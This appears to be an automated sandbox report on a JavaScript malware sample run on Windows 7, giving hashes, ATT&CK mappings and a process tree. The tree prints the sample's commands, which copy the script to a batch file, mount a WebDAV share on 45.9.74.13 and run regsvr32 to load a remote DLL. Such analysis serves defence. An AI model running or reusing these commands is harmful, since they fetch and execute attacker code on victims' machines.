f8557115f1f413b44d095f54b3c233849a725592e7544ac619c538d66b551fb5

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 00:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1606126871545519896.js
Size

5KB
MD5

20811053ad5eb527f4bbf9a31f654f69
SHA1

a6002419219cdf654901b8b97af405423ac66d43
SHA256

f8557115f1f413b44d095f54b3c233849a725592e7544ac619c538d66b551fb5
SHA512

7c580b34e87382a533be543bcd632806ce6c88a29282dd44b9bd8ad6134bc60b85aad1507d4aa830d22cafaa8dfa49ff11bdbd484a4de82589ee24a2b60285b8
SSDEEP

96:nifr0wGRop+BHbZeWNMdwfj1tPdwhjKPrfGzxFfks:ifJG68BHNVNMdwfj1tPdwhjKPSzxFfks

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2604	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2908 wrote to memory of 624	2908	wscript.exe	30
PID 2908 wrote to memory of 624	2908	wscript.exe	30
PID 2908 wrote to memory of 624	2908	wscript.exe	30
PID 624 wrote to memory of 2764	624	cmd.exe	32
PID 624 wrote to memory of 2764	624	cmd.exe	32
PID 624 wrote to memory of 2764	624	cmd.exe	32
PID 624 wrote to memory of 2604	624	cmd.exe	33
PID 624 wrote to memory of 2604	624	cmd.exe	33
PID 624 wrote to memory of 2604	624	cmd.exe	33
PID 624 wrote to memory of 2604	624	cmd.exe	33
PID 624 wrote to memory of 2604	624	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1606126871545519896.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1606126871545519896.js" "C:\Users\Admin\\gxkjvc.bat" && "C:\Users\Admin\\gxkjvc.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:624
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2764
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\639.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\gxkjvc.bat

Filesize
5KB

MD5
20811053ad5eb527f4bbf9a31f654f69

SHA1
a6002419219cdf654901b8b97af405423ac66d43

SHA256
f8557115f1f413b44d095f54b3c233849a725592e7544ac619c538d66b551fb5

SHA512
7c580b34e87382a533be543bcd632806ce6c88a29282dd44b9bd8ad6134bc60b85aad1507d4aa830d22cafaa8dfa49ff11bdbd484a4de82589ee24a2b60285b8

Download Submit